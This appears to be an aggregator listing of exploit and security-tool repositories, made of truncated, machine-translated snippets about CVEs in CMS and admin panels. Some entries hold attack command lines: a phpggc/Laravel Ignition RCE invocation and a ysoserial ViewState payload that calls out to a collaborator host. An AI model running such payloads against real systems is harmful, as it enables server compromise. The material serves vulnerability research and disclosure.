CVE-2024-45264

CVE-2024-45264 Предлагаемое описание Уязвимость межсайтовой подделки запросов CSRF в панели администратора SkySystem Arfa-CMS до версии 5.1.3132 позволяет удаленным злоумышленникам добавлять нового администратора, что приводит к повышению привилегий. Тип уязвимости CWE-352 | Межсайтовая подделка...

CVE-2021-43032

CVE-2021-43032 В XenForo ≤ 2.2.7 злоумышленник, имеющий доступ к панели администратора, может сохранить полезные нагрузки межсайтового скриптинга в любой функции приложения, которая принимает HTML-код. Полезная нагрузка, размещенная в функционале 'Реклама', будет выполняться глобально на стороне...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 — Удалённое выполнение кода RCE в Pluck CMS v4.7.18 Описание Этот скрипт эксплуатирует уязвимость удалённого выполнения кода RCE в Pluck CMS v4.7.18. Уязвимость позволяет злоумышленнику загрузить вредоносный PHP-файл на сервер и выполнить его, получив удалённое выполнение команд на...

cumulus

Программное обеспечение для мониторинга уязвимостей приложений Что такое Cumulus Cumulus — это сервис, который помогает отслеживать и устранять уязвимости безопасности в реальном времени. Проблемы отображаются на веб-панели. Сервис очень простой и мощный...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

CVE-2024-54679

CVE-2024-54679 - CyberPanel также известный как Cyber Panel Отказ в обслуживании Описание Уязвимость отказа в обслуживании DoS была обнаружена в Cyber Panel, которая позволяет любому аутентифицированному пользователю перезапускать базу данных, отправляя запросы на конечную точку...

cve-2020-0688

cve-2020-0688 cve-2020-0688 이메일 주소 권한이 있는 사용자로 로그인하는 것은 문제가 되지 않습니다. 획득 - 페이지 소스에서 VIEWSTATEGENERATOR 가져오기 획득 - viewstateuserkey 값에 대한 ASP.NETSessionId 쿠키 값 가져오기 여기서 YSO 다운로드 root@kitploit: ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net"...

CVE-2023-41508

CVE-2023-41508 CVE-2023-41508 - Super Store Finder v3.6 中存在硬编码密码，允许攻击者访问管理面板。 漏洞类型 访问控制不当 产品供应商 Super Store Finder 受影响产品代码库 Super Store Finder - 受影响版本 3.6 及以下。已在 3.7 版本中修复 CVSS v3.1 向量（基础评分） AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 10.0 受影响组件 受影响的 Web 管理控制台 攻击类型 远程 影响：拒绝服务 true 影响：权限提升 true 影响：代码执行 tr...

cyberpanel

🛠️ CyberPanel OpenLiteSpeed 기반 웹 호스팅 제어 패널로, 호스팅 관리를 간소화하도록 설계되었습니다. 🔧 기능 및 서비스 🔐 다양한 사용자 액세스 수준 ACL 기반. 🌌 Auto SSL 로 웹사이트 보안 강화. 💻 FTP 서버 로 파일 전송 지원. 🕒 경량 DNS 서버 PowerDNS. 🔐 phpMyAdmin 으로 데이터베이스 관리 MariaDB. 📧 이메일 지원 SnappyMail. 🕌 파일 관리자 로 빠른 파일 액세스. 🌐 PHP 관리 를 쉽게. 🔒 방화벽 FirewallD 및 ConfigServer...

Make-and-Break

Make-and-Break Создайте и эксплуатируйте уязвимую виртуальную машину Описание: Собрана пользовательская виртуальная машина на базе Ubuntu 18.04.1 и Webmin 1.810. Использование CVE-2019-15107 для эксплуатации бэкдора в интерфейсе администрирования Linux ДОКАЗАТЕЛЬСТВО КОНЦЕПЦИИ --- Развёрнута ОС...

Admin-Panel_Finder

Admin Panel Finder A burp suite extension that enumerates infrastructure and application Admin Interfaces. OWASP References: Classification : Web Application Security Testing 02-Configuration and Deployment Management Testing OTG v4 : OWASP OTG-CONFIG-005 WSTG : WSTG-CONF-05 Why should I use this...

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 RCE веб-панели CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS Этот эксплойт работает путем подмены callback-запроса агента для XSS CVE-2024-3183...

CVE-2024-34832

CubeCart - Обход каталогов может привести к RCE CVE-2024-34832 TL;DR В панели администратора такие параметры, как g и node, используются для построения пути к файлам .inc.php и выполнения PHP-кода. Злоумышленник, имеющий возможность загружать файлы .inc.php в любую точку сервера, может использова...

CVE-2025-67315

CSRF를 통한 임의 직원 비활성화 요약 직원 관리Manage Employees 기능은 사이트 간 요청 위조CSRF에 취약합니다. 공격자는 로그인한 관리자가 자신의 인지나 동의 없이 직원을 비활성화하는 위조된 요청예: inid=1을 보내도록 속일 수 있습니다. CVSS 기본 점수: 5.4 MEDIUM 벡터 문자열: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L 영향을 받는 기능 모듈: 관리자 패널 → 직원 → 직원 관리 작업: 직원 비활성화 inid 매개변수 사용 재현 단계 1. 관리자로 로그...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel Неаутентифицированное RCE root@kitploit: / |\ \ / /| | | / | | | | || | / | || / | | \ V / | || / / | |/ / | | | | , /| || \ / / | / || /| //||/ || // ||/ /| Эксплойт для Pterodactyl Panel ≤ 1.11.10 - неаутентифицированное LFI с возможностью RCE...

codoforum

CVE-2020-5842 Уязвимость хранимого XSS в Codoforum 4.8.3 Опубликовано в: Exploit-db, Cve Mitre и The daily swig Когда я искал бесплатное форумное программное обеспечение для нашего сообщества, я нашел Codoforum. После установки мы Vyshnav Vizz попробовали несколько простых XSS-пейлоадов, чтобы...

FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

FuguHub 8.4 인증된 RCE Fuguhub는 클라우드 미디어 서버 소프트웨어입니다. 테스트된 버전은 다음 링크의 데비안 버전입니다: https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC의 FuguHub v.8.4에서 관리자 패널의 About 페이지에 조작된 스크립트를 통해 로컬 공격자가 임의 코드를 실행할 수 있는 문제가 발견되었습니다. FuguHub 다운로드 페이지를 보여주는 스크린샷 설치 단계: root@kitploit: wget...

CVE-2020-13889

Автор: Andre k Lorenci Контакт: [email protected] CVE-2020-13889 Здравствуйте, данная уязвимость заключается в функции showAlert в панели администрирования Bludit, которая при обращении через DOM позволяет пользователям задавать текст для отображения в диалоговом окне. Но эта функция не имее...

silverboxcc

Red Alert V2.0이라는 안드로이드 악성코드를 리버스 엔지니어링했습니다. 분석 당시, 더 이상 실행 중인 C2 서버가 없어서 악성코드와 C2 서버 간의 트래픽을 관찰할 수 없었습니다. 그래서 C2 프로토콜을 알아내고 이 제어판을 작성했습니다. 장치의 봇 트래픽은 iptables를 사용하여 리디렉션할 수 있으므로 모든 봇 통신이 우리 C2 서버로 전송됩니다. root@kitploit: iptables -t nat -A OUTPUT -p tcp --dport -j DNAT --to-destination : 동영상 보기...

CVE-2025-49132-Mods

CVE-2025-49132 - RCE シンプル 📝 概要 このリポジトリには、Pterodactyl パネル（v1.11.11 より前）における重大な未認証のリモートコード実行（RCE）脆弱性である CVE-2025-49132 用の専用エクスプロイトが含まれています。 この脆弱性は /locales/locale.json エンドポイントに存在します。locale および namespace クエリパラメータを操作することで、攻撃者は Local File Inclusion（LFI）を利用して pearcmd.php...